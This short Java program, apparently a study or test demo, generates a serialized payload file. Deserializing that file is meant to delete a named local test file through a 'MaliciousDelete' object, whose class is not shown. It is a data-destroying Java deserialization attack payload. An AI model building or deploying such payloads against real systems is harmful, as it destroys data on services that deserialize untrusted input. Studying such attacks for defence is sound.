package com.stx.test.serialize.deletFile;

import java.io.*;

public class CreatePayload {
    public static void main(String[] args) {
        // 要删除的文件路径
        String targetFile = "D:/shuangti/test.txt";
        
        try {
            // 创建恶意对象
            MaliciousDelete payload = new MaliciousDelete(targetFile);
            
            // 序列化到文件
            FileOutputStream fileOut = new FileOutputStream("D:/shuangti/payload.ser");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(payload);
            out.close();
            fileOut.close();
            
            System.out.println("恶意载荷已生成: payload.ser");
            System.out.println("目标文件: " + targetFile);
            
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}